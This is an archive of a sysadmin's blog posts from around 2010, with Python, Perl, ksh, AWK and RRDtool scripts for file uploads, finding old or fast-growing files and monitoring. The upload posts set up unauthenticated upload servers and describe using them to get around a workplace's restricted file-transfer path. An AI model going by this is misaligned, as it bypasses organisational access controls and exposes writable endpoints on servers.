2010-04-14T23:02:00.004+08:00

I was trying to mix Perl and Python to achieve file uploading anywhere. After digging into the details of the BaseHTTPServer, I managed to craft out a 100% Python implementation. Together with my downloading server, I am now able to transfer files with ease in my current 'restricted' environment.

#! /usr/bin/python


import BaseHTTPServer
import os, cgi, re, random, platform


class GetHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        message = '<title>Upload</title>\
            <form action=/ method=POST ENCTYPE=multipart/form-data>\
            <input type=file name=upfile> <input type=submit value=Upload>\
            </form></body></html>'
        self.send_response(200)
        self.end_headers()
        self.wfile.write(message)
        return

    def do_POST(self):
        form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, \
            environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
        upfile = form['upfile']

        # extract basename of input filename, remove non-alphanumeric characters
        if '\\' in upfile.filename:
            filename = upfile.filename.split('\\')[-1]
        else:
            filename = upfile.filename.split('/')[-1]
        filename = re.sub('[ \t]','-', filename)
        filename = re.sub('[^a-zA-Z0-9_.:-]','', filename)

        fp = open(filename, 'wb')
        while True:
            chunk = upfile.file.read(8192)
            if len(chunk) == 0:
                break
            else:
                fp.write(chunk)
        fp.close()
        self.send_response(200)
        self.end_headers()
        self.wfile.write('<html><head><title>Upload</title></head><body>\
            <h1>Successfully uploaded</h1><br>From: %s<br>To: %s</body></html>' % \
            (upfile.filename, os.sep.join([os.getcwd(), filename])) )



if __name__ == '__main__':
    try:
        port = random.randint(50000,60000)
        url = "http://%s:%d/" % (platform.node(), port)
        server = BaseHTTPServer.HTTPServer( ('', port), GetHandler )
        print "Ask user to visit this URL:\n\t%s" % url
        server.serve_forever()
    except KeyboardInterrupt:
        pass

File Uploading, A Perl+Python Approach

2010-03-25T21:15:00.008+08:00

I created a download server some time ago and always wanted to come up with something similar for uploading.

My initial approach avoided the whole issue by running the download server from the opposite end, but this approach is not very flexible 'cos user requires Python to be installed in their desktop.

My second approach was to develop a CGI program (upload.cgi) based on the established Perl CGI.pm module. The below CGI script is launched via a running Apache web server. However, we have to depend on the existence of Apache web server.

#! /usr/bin/perl

use CGI;
use CGI::Carp qw ( fatalsToBrowser );
use File::Basename;

if ( $ENV{"REQUEST_METHOD"} eq "GET" ) {
        print "Content-type: text/html\n\n";
        print "<html><head><title>Upload</title></head><body>";
        printf("<form action=%s method=POST ENCTYPE=multipart/form-data>", $ENV{'SCRIPT_NAME'});
        print "<input type=file name=upfile> <input type=submit value=Upload></form>";
        print "</body></html>";
} else {
        my $safe_filename_characters = "a-zA-Z0-9_.-";
        my $upload_dir = "/export/software/upload";

        my $query = new CGI;
        my $fname = $query->param("upfile");


        $fname =~ s/\\/\//g;
        my ( $name, $path, $extension ) = fileparse ( $fname, '\..*' );
        $filename = $name . $extension;
        $filename =~ tr/ /_/;
        $filename =~ s/[^$safe_filename_characters]//g;


        my $upload_filehandle = $query->upload("upfile");

        open ( UPLOADFILE, ">$upload_dir/$filename" ) or die "$!";
        binmode UPLOADFILE;

        print "Content-type: text/html\n\n";
        print "<html><head><title>Upload</title></head><body>";

        while ( <$upload_filehandle> )
        {
        print "...";
         print UPLOADFILE;
        }

        close UPLOADFILE;

        printf("Your file is in /export/software/upload/%s (%s)", $filename, $fname);
        print "</body></html>";
}

My third approach was to combine Perl and Python in a single Python script. Python comes with a simple and workable CGIHTTPServer module that allows me to run a self-contained web server that can server CGI script. With the below script (uploadserver), it will dynamically create a random cgi-bin directory with the Perl upload.cgi script. An index.html is also dynamically created that can do auto-redirection to the cgi-bin/upload.cgi. With this script, I can launch the upload server anywhere and able to upload file via a web browser.

#! /usr/local/bin/python


import BaseHTTPServer
import CGIHTTPServer
import tempfile
import os
import random
import platform


#
# standalone CGI perl script for uploading.
# escaped all the backslashes
#
perlscript="""#! /usr/bin/perl


use CGI;
use CGI::Carp qw ( fatalsToBrowser );
use File::Basename;


if ( $ENV{"REQUEST_METHOD"} eq "GET" ) {
        print "Content-type: text/html\\n\\n";
        print "<html><head><title>Upload</title></head><body>";
        printf("<form action=%s method=POST ENCTYPE=multipart/form-data>", $ENV{'SCRIPT_NAME'});
        print "<input type=file name=upfile> <input type=submit value=Upload></form>";
        print "</body></html>";
} else {
        my $safe_filename_characters = "a-zA-Z0-9_.-";
        my $upload_dir = ".";
        my $query = new CGI;
        my $fname = $query->param("upfile");


        #
        # convert backslash to forward flash, remove un-safe characters in
filename
        #
        $fname =~ s/\\\\/\\//g;
        my ( $name, $path, $extension ) = fileparse ( $fname, '\\..*' );
        $filename = $name . $extension;
        $filename =~ tr/ /_/;
        $filename =~ s/[^$safe_filename_characters]//g;


        my $upload_filehandle = $query->upload("upfile");
        open ( UPLOADFILE, ">$upload_dir/$filename" ) or die "$!";
        binmode UPLOADFILE;
        while ( <$upload_filehandle> )
        {
                print UPLOADFILE;
        }
        close UPLOADFILE;

        print "Content-type: text/html\\n\\n";
        print "<html><head><title>Upload</title></head><body>";
        printf("Your file '%s' has been successfully uploaded", $filename,);
        print "</body></html>";
}
"""


if not os.path.isfile('index.html'):
        try:
                tempdir = tempfile.mkdtemp(dir='.')[2:]
                os.chmod(tempdir, 0755)
                uploadcgi = tempdir + '/upload.cgi'
                cgidir = '/' + uploadcgi

                # write index.html
                fp = open('index.html', 'w')
                refresh = '<html><head><meta http-equiv="REFRESH" content="0;url=/%s"></head><body></body></html>' % uploadcgi
                fp.write(refresh)
                fp.close()

                # create cgi script
                fp = open(uploadcgi, 'w')
                fp.write(perlscript)
                fp.close()
                os.chmod(uploadcgi, 0755)

                # change the internal settings
                CGIHTTPServer.CGIHTTPRequestHandler.cgi_directories = [cgidir]
                CGIHTTPServer.nobody = os.getuid()

                port = random.randint(50000,60000)
                url = "http://%s:%d/" % (platform.node(), port)
                httpd = BaseHTTPServer.HTTPServer(('',port), CGIHTTPServer.CGIHTTPRequestHandler)
                print "Ask user to visit this URL:\n\t%s" % url
                httpd.serve_forever()

        except:
                # clean up
                os.remove('index.html')
                os.remove(uploadcgi)
                os.rmdir(tempdir)

else:
                print 'Error. index.html exists'

# ./uploadserver
Ask user to visit this URL:
        http://user-PC:52233/

When you point your web server to the able URL, it will auto redirect.

Older == Not Newer

2010-03-23T22:46:00.003+08:00

Quite often we need to clean up old files in directory, but the criteria is often based on ctime/atime/mtime in find with unit in days. In certain situation, this may not be fine-grain enough to locate files. In find, you can specify the -newer flag to locate files newer than the file reference. However, find does not have -older. What you can do is to specify 'not newer' to represent 'older':
$ ! -newer reference $

Here I created a lot of files (4320) with file name based on time stamp and tried to use this trick to delete files older than the reference (log-200912301450). See my previous post in how I use the -newer flag too.



# yr=2009

# for mth in `seq -w 7 12`
do
    for day in `seq -w 1 30`
    do
        for hr in `seq -w 2 6 24`
        do
                for min in `seq -w 0 10 50`
                do
                        touch -t $yr$mth$day$hr$min log-$yr$mth$day$hr$min
                done
        done
    done
done

# ls | wc -l
4320

# ls -lrt | head
total 0
-rw-r--r-- 1 root root 0 2009-07-01 02:00 log-200907010200
-rw-r--r-- 1 root root 0 2009-07-01 02:10 log-200907010210
-rw-r--r-- 1 root root 0 2009-07-01 02:20 log-200907010220
-rw-r--r-- 1 root root 0 2009-07-01 02:30 log-200907010230
-rw-r--r-- 1 root root 0 2009-07-01 02:40 log-200907010240
-rw-r--r-- 1 root root 0 2009-07-01 02:50 log-200907010250
-rw-r--r-- 1 root root 0 2009-07-01 08:00 log-200907010800
-rw-r--r-- 1 root root 0 2009-07-01 08:10 log-200907010810
-rw-r--r-- 1 root root 0 2009-07-01 08:20 log-200907010820

# ls -lrt | tail
-rw-r--r-- 1 root root 0 2009-12-30 14:20 log-200912301420
-rw-r--r-- 1 root root 0 2009-12-30 14:30 log-200912301430
-rw-r--r-- 1 root root 0 2009-12-30 14:40 log-200912301440
-rw-r--r-- 1 root root 0 2009-12-30 14:50 log-200912301450
-rw-r--r-- 1 root root 0 2009-12-30 20:00 log-200912302000
-rw-r--r-- 1 root root 0 2009-12-30 20:10 log-200912302010
-rw-r--r-- 1 root root 0 2009-12-30 20:20 log-200912302020
-rw-r--r-- 1 root root 0 2009-12-30 20:30 log-200912302030
-rw-r--r-- 1 root root 0 2009-12-30 20:40 log-200912302040
-rw-r--r-- 1 root root 0 2009-12-30 20:50 log-200912302050

# find . \( ! -newer log-200912301450 \) -type f -exec rm -f {} \;

# ls -lrt
total 0
-rw-r--r-- 1 root root 0 2009-12-30 20:00 log-200912302000
-rw-r--r-- 1 root root 0 2009-12-30 20:10 log-200912302010
-rw-r--r-- 1 root root 0 2009-12-30 20:20 log-200912302020
-rw-r--r-- 1 root root 0 2009-12-30 20:30 log-200912302030
-rw-r--r-- 1 root root 0 2009-12-30 20:40 log-200912302040
-rw-r--r-- 1 root root 0 2009-12-30 20:50 log-200912302050

An Interview Question

2010-02-27T15:42:00.004+08:00

I came across this interview question:

Imagine you are going off to be a sysadmin on a desert island, with no internet access, and further imagine that the previous sysadmin was a total fascist with a minimalist install policy. We're talking a bare-bones "classic" Solaris installation, or a minimal Debian system here. You've got SSH installed, but not much else. Before you hop on the boat, however, you are given a couple of hours high-speed internet access and a USB stick. You can take up to 5 tools with you to this desert island: What do you pick ?

I have been using this question for my recent interviews and sad to say that none of the interviewees managed to impress me.

If I were the interviewee, I would download the following because I have been using these utilities to build tools for my customers. Thanks to my current and ex-employers 'cos they always have no budget to buy commercial tools.

ActivePerl, ActivePython and ActiveTcl from ActiveState
RRDtool
Gnuplot

Finding the Latest Modified Time In A Mount Point

2010-02-25T22:58:00.005+08:00

User wanted to decommission a particular mount point but needed to ensure no files/directories was updated recently. So the question is how can we find out exactly the latest modified time in this mount point.

My initial approach was to do a couple of find /mount/point -mtime -... -ls to roughly locate the last modified time. I used the divide and conquer approach, eg, starts with 100 days, if no file return change to 200 days, else 50 days, ... This approach can only give me a rough estimate. If I can list the timestamp in the ISO 8601 format YYYYMMDDTHHMMSS, I can just simply sort it and the latest modified time will be the last record. I know find is not able to do that, but find2perl can convert a find command to Perl code. With Perl, I can modify it to output to the format that I want.

$ /usr/perl5/5.8.4/bin/find2perl /mount/point -ls
#! /usr/perl5/5.8.4/bin/perl -w
    eval 'exec /usr/perl5/5.8.4/bin/perl -S $0 ${1+"$@"}'
        if 0; #$running_under_some_shell

use strict;
use File::Find ();

# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;

sub wanted;
sub ls ();


my @rwx = qw(--- --x -w- -wx r-- r-x rw- rwx);
my @moname = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);

my (%uid, %user);
while (my ($name, $pw, $uid) = getpwent) {
    $user{$uid} = $name unless exists $user{$uid};
}

my (%gid, %group);
while (my ($name, $pw, $gid) = getgrent) {
    $group{$gid} = $name unless exists $group{$gid};
}


# Traverse desired filesystems
File::Find::find({wanted => \&wanted}, '/mount/point');
exit;


sub wanted {
    my ($dev,$ino,$mode,$nlink,$uid,$gid);

    (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
    ls;
}


sub sizemm {
    my $rdev = shift;
    sprintf("%3d, %3d", ($rdev >> 8) & 0xff, $rdev & 0xff);
}

sub ls () {
    my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
        $atime,$mtime,$ctime,$blksize,$blocks) = lstat(_);
    my $pname = $name;

    $blocks
        or $blocks = int(($size + 1023) / 1024);

    my $perms = $rwx[$mode & 7];
    $mode >>= 3;
    $perms = $rwx[$mode & 7] . $perms;
    $mode >>= 3;
    $perms = $rwx[$mode & 7] . $perms;
    substr($perms, 2, 1) =~ tr/-x/Ss/ if -u _;
    substr($perms, 5, 1) =~ tr/-x/Ss/ if -g _;
    substr($perms, 8, 1) =~ tr/-x/Tt/ if -k _;
    if    (-f _) { $perms = '-' . $perms; }
    elsif (-d _) { $perms = 'd' . $perms; }
    elsif (-l _) { $perms = 'l' . $perms; $pname .= ' ->>' . readlink($_); }
    elsif (-c _) { $perms = 'c' . $perms; $size = sizemm($rdev); }
    elsif (-b _) { $perms = 'b' . $perms; $size = sizemm($rdev); }
    elsif (-p _) { $perms = 'p' . $perms; }
    elsif (-S _) { $perms = 's' . $perms; }
    else         { $perms = '?' . $perms; }

    my $user = $user{$uid} || $uid;
    my $group = $group{$gid} || $gid;

    my ($sec,$min,$hour,$mday,$mon,$timeyear) = localtime($mtime);
    if (-M _ > 365.25 / 2) {
        $timeyear += 1900;
    } else {
        $timeyear = sprintf("%02d:%02d", $hour, $min);
    }

    printf "%5lu %4ld %-10s %3d %-8s %-8s %8s %s %2d %5s %s\n",
            $ino,
                 $blocks,
                      $perms,
                            $nlink,
                                $user,
                                     $group,
                                          $size,
                                              $moname[$mon],
                                                 $mday,
                                                     $timeyear,
                                                         $pname;
    1;
}

Just change the original printf to this one:

printf("%04d%02d%02dT%02d%02d%02d %d %s\n", $timeyear, $mon+1, $mday, $hour, $min, $sec, $mtime, $pname);

There is a lot of stuff not needed from the find2perl output. We can trim it down to just suit our need, which is to locate the latest modified time. My friend found this on the Internet that do exactly this task. It is very efficient because the script will keep track of the latest time stamp.

#!/bin/perl
use File::Find;
@ARGV = ('.') unless @ARGV;
my ($age, $name);
sub youngest {
    return if defined $age && $age > (stat($_))[9];
    $age = (stat(_))[9];
    $name = $File::Find::name;
}
find(\&youngest, @ARGV);
print "$name " . scalar(localtime($age)) . "\n";

CPU/Load Utilisation In A Gradient Plot

2010-02-25T22:44:00.005+08:00

By taking advantage of RRDtool's CDEF, I am able to superimpose the CPU Load utilisation over the original CPU utilisation graph. The gradient for Load/#CPUs is from 0 to >2.0, with 0 as green (system is completely idle) to 1 as yellow (100% utilised) to >2.0 as red (system is heavily loaded). The gradient interval is at a step of 0.1 and the utilisation graph shows up pretty cool.

It is pretty hard to work with CDEF 'cos you have to program it in reverse polish notation. Once you get one gradient correct, you just have to repeat it for the rest. Here is sample CDEFs showing a few of the gradients:

CDEF:load=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1,GT,2,0,IF  \
CDEF:load10a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.00,GT,cpu,0,IF \
CDEF:load10b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.10,LT,cpu,0,IF \
CDEF:load10=load10a,0,EQ,0,load10a,0,EQ,0,load10b,IF,IF \
CDEF:load20a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.10,GT,cpu,0,IF \
CDEF:load20b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.20,LT,cpu,0,IF \
CDEF:load20=load20a,0,EQ,0,load20a,0,EQ,0,load20b,IF,IF \
CDEF:load30a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.20,GT,cpu,0,IF \
CDEF:load30b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.30,LT,cpu,0,IF  \
CDEF:load30=load30a,0,EQ,0,load30a,0,EQ,0,load30b,IF,IF \

Reflections - The Value of Persistence

2010-02-20T11:57:00.002+08:00

Got this from my "the other email"

Colonel Sanders went to more than 1,000 places trying to sell his chicken recipe before he found an interested buyer. The fact that we can buy Kentucky Fried Chicken today attests to his perseverance. Thomas Edison tried almost 10,000 times before he succeeded in creating the electric light. If he had given up, you would be reading this in the dark!
The original business plan for what was to become Federal Express was given a failing grade on Fred Smith's college exam. And, in the early days, their employees would cash their pay checks at retail stores, rather than banks. This meant it would take longer for the money to clear, thereby giving FedEx more time to cover their payroll.
Sylvester Stallone had been turned down a thousand times by agents and was down to his last $600 before he found a company that would produce Rocky. The rest is history! To truly succeed requires a total commitment to your goal. Too many people make the mistake of quitting just short of success. Keep going no matter what. If you really believe in what you are doing, give it all you¹ve got and don¹t give up.
You will succeed. There is no such thing as failure. Every action produces an outcome. It may not always be the outcome you are looking for, but it is an outcome nonetheless. If you monitor the results of your actions and keep correcting what is not working, you will eventually produce the outcome you are looking for.
Be Persistent - Ray Kroc, the late founder of McDonalds, put it best when he said: "Nothing in this world can take the place of persistence. Talent will not; nothing is more common than unsuccessful men with great talent. Genius will not; un-rewarded genius is almost a proverb. Education will not; the world is full of educated derelicts. Persistence, determination and love are omnipotent."

Which Files Grow The Fastest, Take 2

2010-02-20T11:41:00.002+08:00

By expanding from my previous blog, I am able to find out what percentage of each of these files contributed to the file system growth. All I have to do is to keep track of the df -k $dir in the two snapshots within the interval.

Here is the script

#! /bin/ksh
#
# Find out the fastest growth of files within a certain interval


trap 'rm -f $tmpfile-*; exit 0' 0 1 2 3 5 9 15


PATH=/usr/bin:/bin:/usr/sbin
LD_LIBRARY_PATH=/usr/lib:/lib


if [ $# -ne 2 ]; then
        echo "Usage: $0  "
        exit 1
fi
dir=$1
interval=$2
if [ ! -d $dir ]; then
        echo "Error. $dir does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}.$$"
touch $tmpfile-0


# first snapshot
sleep $interval
used1=`df -kl $dir | awk 'NR==2{print $3}'`
find $dir -type f -newer $tmpfile-0 -mount -ls | awk '{print "t1", $7, $11}' > $tmpfile-1


# second snapshot
sleep $interval
used2=`df -kl $dir | awk 'NR==2{print $3}'`
find $dir -type f -newer $tmpfile-0 -mount -ls | awk '{print "t2", $7, $11}' > $tmpfile-2


cat $tmpfile-1 $tmpfile-2 | nawk -v interval=$interval -v used1=$used1 -v used2=$used2 '
        BEGIN {
                # convert kilobyte to byte
                diffused=1024*(used2-used1)
        }
        $1=="t1" { t1[$3]=$2 }
        $1=="t2" { t2[$3]=$2 }
        END {
                for (i in t1) {
                        d=t2[i]-t1[i]
                        percent=100*d/diffused
                        printf("%d Bps (%.2lf %%) %s\n", d/interval, percent, i)
                }
        }' | sort -n -k 1

And the corresponding output:

474 Bps (0.70 %) /opt/app/App/logs/current/poll20100219.out
504 Bps (0.74 %) /opt/app/App/logs/current/app.log20100219.log
818 Bps (1.20 %) /opt/app/App/logs/current/notify20100219.log
2165 Bps (3.18 %) /opt/app/bea/user_projects/domains/appDomain/servers/recorder.log
39638 Bps (58.28 %) /opt/app/App/logs/current/xml.log

Now we can clearly identified /opt/app/App/logs/current/xml.log contributed 58% of the file system growth.

Which Files Grow The Fastest

2010-02-18T17:47:00.005+08:00

One of the file system mount points is growing at the rate of 100 KB per second, that is 8.3 GB per day. With this growth rate, the mount point will eventually hit 100% and the application will likely crash. There are couple of options:

Increase the size of the mount point, but this does not solve any problem, just deferring the issue
Develop house-keeping script to periodically clean up some of the old logs, but this still not solving the problem
Find out which files grow the fastest and work with the owner to resolve the issue.

Guess what, I choose the latter 'cos it is technically challenging. It does not seem to be straightforward to begin with because we have to deal with a lot of files in the file system. By taking advantage of the "-newer" flag in the find command, I can touch a file and locate any modified files newer than this within a certain interval. With two snapshots of find, I can work out the growth rate in term of Bps (bytes per second).

Here is the code:

#! /bin/ksh
#
# Find out the growth of files within a certain interval


trap 'rm -f $tmpfile; exit 0' 0 1 2 3 5 9 15


PATH=/usr/bin:/bin:/usr/sbin
LD_LIBRARY_PATH=/usr/lib:/lib


if [ $# -ne 2 ]; then
        echo "Usage: $0  "
        exit 1
fi
dir=$1
interval=$2
if [ ! -d $dir ]; then
        echo "Error. $dir does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}.$$"
touch $tmpfile


sleep $interval
(
    find $dir -type f -newer $tmpfile -mount -ls | awk '{print "t1", $7, $11}'
    sleep $interval
    find $dir -type f -newer $tmpfile -mount -ls | awk '{print "t2", $7, $11}'
) | nawk -v interval=$interval '
$1=="t1" { t1[$3]=$2 }
$1=="t2" { t2[$3]=$2 }
END {
        for (i in t1) {
                d=t2[i]-t1[i]
                printf("%d Bps (Before:%d After:%d) %s\n", d/interval, t1
[i], t2[i], i)
        }
}' | sort -n -k 1

Script in action:

# ./check-growth.ksh /opt/app 60
3 Bps (Before:4645717 After:4645924) /opt/app/domains/AppDomain/AppDomain.log
13 Bps (Before:14040 After:14820) /opt/app/App/logs/message20100218.log
71 Bps (Before:880056 After:884334) /opt/app/domains/AppDomain/record.log
415 Bps (Before:1282108337 After:1282133250) /opt/app/domains/AppDomain/audit.log
474 Bps (Before:514492 After:542938) /opt/app/App/logs/task.out
13675 Bps (Before:1203200386 After:1204020898) /opt/app/App/runs/nohup.out
43956 Bps (Before:47963888 After:50601297) /opt/app/App/logs/access20100218.log

Now we found out which files have contributed the most within a 1 minute interval. With these information, we can work with the application team to resolve the issue.

Is High CPU Utilisation A Bad Sign ?

2010-02-13T12:03:00.007+08:00

Is high CPU utilisation a bad sign ? Can a single CPU utilisation graph tell you the whole story ? In order to tell a real story, one need to piece other performance data together.

Here is a typical monthly graph of the total CPU utilisation and memory utilisation put together in the same scale (percentage). You can see that this server has sufficient memory. As for the CPU, it hit 90-100% at the early hour everyday. As we all know, CPU utilisation can only max at 100% and we have no idea whether it exceeded the 100% mark.

It is the load averge that can tell you the amount of work that your server performs. With RRDtool CDEF, you can flag out if the cpu load exceeds the no. of CPUs. The CDEF definition is in reverse polish notation, which may take a while to get used to it. Here is the same graph with additional information (indicated as red) to show if load is higher than the number of CPUs.

It is definitely possible to have various colour codes to indicate different level of load, eg. 1.0 < load/#CPUs < 1.5, 1.5 <= load/#CPUs < 2.0, ... They can all be done in CDEF.

My Solaris Cannot Fork

2010-02-04T21:39:00.009+08:00

Recently one of my Solaris servers cannot fork due to "Resource temporarily unavailable". It was flagged out in the system message via syslog

Although I was still active in my ssh login session, I was not able to run any command (like ls, w, cat...) 'cos they need to fork out processes from the shell. In this kind of scenario, you are basically handicapped. After some searching on the web, I found this link that showed you how to simulate other commands using shell built-in functions. With this, there is no forking involved. Basically it take advantage of loop construct and file redirection.

I am trying to show you how you can do a few things with built-in functions that may help you to save the day. I believe it can do more than what I described here. BTW, they run on Korn shell.

Equivalent of "cat":

my_cat()
{
        while read line
        do
                echo $line
        done < $1
}

Equivalent of "wc":

my_wc()
{
        nl=0
        nw=0
        nc=0
        in=$1
        while read line
        do
                ((nl=nl+1))
                set -- $line
                ((nw=nw+$#))
                ((nc=nc+${#line}+1))
        done < $in
        echo "\t$nl\t$nw\t$nc\t$in"
}

Equivalent of "ls"

my_ls()
{
my_ls()
{
        echo $@ | while read i
        do
                echo $i
        done
}

In such situation, you may want to count the total number of files opened in the system (based on /proc/*/fd/*, exclude stdin/stdout/stderr):

my_nfd()
{
        n=0
        for fd in /proc/[0-9]*/fd/*
        do
                # exclude stdin/stdout/stderr (0/1/2)
                if [ ${fd##*/} -gt 2 ]; then
                        ((n=n+1))
                fi
        done
        echo $n
}

One Man's Download Is Another Man's Upload

2010-01-26T16:04:00.005+08:00

In my work environment, I often have to transfer files between UNIX servers and my Windows machine. For security and many "other reasons", I have to remote desktop to another Windows server (so call "gateway server") before I can access (ssh, sftp) to those UNIX machines. If not, I will have to answer all the "why". Although there is no firewall setup between all these layers, I often have to make use of the gateway server to be the middle man to do all the file transfer.

I blogged about how to download files from UNIX server, but never mentioned about how to upload file to the UNIX server. At the back of my mind I have been thinking about writing an http service for uploading. After some thoughts, I think I can simply run the same script in my Windows (Python under Cygwin) and use wget to download files to the UNIX server.

With this approach, I do not have to launch browser to upload files and all these can be done via command line. Also, I can reuse my old code.

What Can You Learn From The Governator

2010-01-21T00:08:00.002+08:00

If you watch The Apprentice, you probably came across this clip with the "Governator"

HBA I/O Utilisation Monitoring

2010-01-15T23:05:00.012+08:00

I recently just finished the development of monitoring 17 Brocade fibre channel switches with over 1200+ ports in total. The implementation is solely based on UNIX shell script, RRDtool, Tcl, Apache Web Server by polling the switches using SNMP.

Instead of polling individual port, we 'snmpwalk' the swFCPortTxWords (1.3.6.1.4.1.1588.2.1.1.1.6.2.1.11) and swFCPortRxWords (1.3.6.1.4.1.1588.2.1.1.1.6.2.1.12) MIB branches. With this, we only have to do two polls per switch. The output will be parsed by a Tcl program to output 'update somefile.rrd N:value' data stream and pipe it to 'rrdtool -' to update all the rrd files in one parse. Here is a sample pseudo code

for switch in $all_switches
do
  for mib in swFCPortTxWords swFCPortRxWords
  do
      snmpwalk -v $version -c $community $switch $mib | tcl-program
      # expected output: "update somefile.rrd N:value"
  done
done | rrdtool -

All these runs on Solaris. BTW, the search form allows you to key in search patten using regular expression. The return page provides a summary plot link to aggregate all traffic in one plot.

Below shows some of the screen dump.
Main page shows all the switches.

Click on the 4th switch and this will show you all the FC ports:

Click on the 4th port in the 4th switch. It shows you the daily, weekly, monthly and yearly Tx/Rx traffic

If you use the search form, which can take regular expression, it returns the matching switch ports. The result page will include a Summary plot link to allow user to put all the traffic in one single page.

A daily summary plot

A weekly summary plot

The AWK Way

2009-11-19T23:08:00.003+08:00

Today I was given the task of converting few hundred files (743 to be exact) into CSV format. The filename is prefixed with hostname with a fix suffix and the content contains all the local user names. The task is to put them in rows with hostname in the 1st column and usernames in the 2nd column onwards. One more requirement is to exclude a few users in the output. My initial solution is very much unix shell script-based. Although this is an one-off 'throw-away' solution, it is pretty inefficient because there is a lot of process creation within a for loop. It took 1 min 39.453 sec. After some thoughts, I reckoned it is possible to do it efficiently in just AWK. With the help of some of the built-in variables like FILENAME / NR / FNR, we can process all the input files within a single AWK code. The below code works in Cygwin. The runtime for the AWK code is 2.797 sec, that's 35 times faster !

$ ls *txt
host1_root.txt  host2_root.txt  host3_root.txt  host4_root.txt

$ paste *txt
usera   usere   userm   userx
userb   userx   userx   userw
userc   userf   usern   usery
userd   userg   usero   userz
userdx  usery   userp
userdy  userh   userx
        userz   userq
        useri   userqx
        userj   userr
        userk   userz
        userl   users
        userx   usert
                usery

$ cat a.awk
#! /usr/bin/awk -f


BEGIN {
        suffix="_root.txt"
        len=length(suffix)
}
#
# print CR if first line in input file except first file
FNR==1 && NR>1 {
        printf("\n")
}
#
# print hostname
FNR==1 {
        host=substr(FILENAME, 0, length(FILENAME)-len)
        printf("%s", host)
}
#
# print users, but exclude certain users
$0 !~ /^(userx|usery|userz)$/ {
        printf(",%s", $0)
}


$ ./a.awk *.txt
host1,usera,userb,userc,userd,userdx,userdy
host2,usere,userf,userg,userh,useri,userj,userk,userl
host3,userm,usern,usero,userp,userq,userqx,userr,users,usert
host4,userw

Finding Newer Files

2009-11-07T10:35:00.004+08:00

Although find provides flags to locate files newer than certain days (-mtime -2), it is not fine grain enough to allow user to specify based on user-defined timestamp. Below script will touch a temporary file with specific timestamp and find will make use of it as a reference by using the "-newer" flag. FYI, this has been tested on Solaris

#! /bin/ksh

if [ $# -ne 2 ]; then
        echo "Usage: $0 directory time"
        echo "       time - a decimal number of the form: [[CC]YY]MMDDhhmm[.SS]"
        exit 1
fi
directory=$1
timestamp=$2


if [ ! -d $directory ]; then
        echo "Error. Directory $directory does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}-$$"
touch -t $timestamp $tmpfile > /dev/null 2>&1
if [ $? -ne 0 ]; then
        echo "Error. Incorrect time format [[CC]YY]MMDDhhmm[.SS]"
        exit 2
fi


trap "rm -f $tmpfile; exit 0" EXIT


find $directory -newer $tmpfile -local -mount -type f

What Is Personal Leadership Brand

2009-10-31T20:19:00.002+08:00

If you have 10 minutes to spare, you should watch this video from Harvard Business in YouTube

Thumbnail Your RRDtool Graphs

2009-10-30T15:21:00.002+08:00

If you have lots of RRDtool graphs you need to go through everyday, you may want to consider creating thumbnail dynamically from the RRD files. As CPU and memory utilisations are plotted with same scale (100%), we can put them together for ease of viewing and analysis.

A simple CGI script is able to do the job. Basically it ignores x- & y-grids/ticks/labels and legends

echo "Content-tyep: image/png"
echo ""
/usr/bin/rrdtool graph - \
        --start -${2:-1d} \
        --imgformat PNG \
        --lower-limit 0 --upper-limit 100 --rigid \
        --width=125 --height=30 \
        --x-grid none \
        --y-grid none \
        --title "$host" \
        --color=BACK#ffffff \
        --color=CANVAS#ffeee5 \
        --color=GRID#7F7F7F \
        --color=MGRID#B8B8B8 \
        --color=ARROW#FF0000 \
        DEF:usr=$rrd_cpu:usr:AVERAGE \
        DEF:sys=$rrd_cpu:sys:AVERAGE \
        DEF:wio=$rrd_cpu:wio:AVERAGE \
        DEF:idle=$rrd_cpu:idle:AVERAGE \
        DEF:mtotal=$rrd_mem:total:AVERAGE \
        DEF:mused=$rrd_mem:used:AVERAGE \
        CDEF:gbtotal=mtotal,1024,/ \
        CDEF:gbused=mused,1024,/ \
        CDEF:gbfree=mtotal,mused,-,1024,/ \
        CDEF:percent=gbfree,gbtotal,/,100,* \
        AREA:usr#dddd00:\
        STACK:sys#dd0000:\
        STACK:wio#ff8a60:\
        STACK:idle#e2e2f2:\
        LINE1:percent#0000ff: \
        GPRINT:gbfree:LAST:"Mem\:%5.1lf/" \
        GPRINT:gbtotal:LAST:"%5.1lfGB"

New DTrace Resources

2009-10-23T23:01:00.004+08:00

Some new resources from Sun on DTrace

Scripting Hustle

2009-10-20T21:34:00.004+08:00

I was given this compliment:
不愧是万中无一的scripting guy
+ learn a lifetime skill of scripting for $10

Watch this movie clip (fast forward to 08:40) to find out the resemblance

Too Big An Audit Log To Handle

2009-10-12T21:27:00.004+08:00

Have you ever encounter Solaris audit log that has not been rotated for months ? It is just far too big for some of the down stream programs to handle. Click here for a sample of the output from praudit -l. Here is a sample script to 'chop' them into individual files based on day. With this simple script, now you can handle audit log with ease.

IFS_orig=$IFS
cd /var/audit
praudit -l 2009052803069.20091009095022.myhost | while read line
do
        IFS=","
        set -- $line
        d=$7
        IFS=$IFS_orig
        set -- $d
        ymd=$1
        echo $line >> $ymd.txt
done

Number of Days in a Month

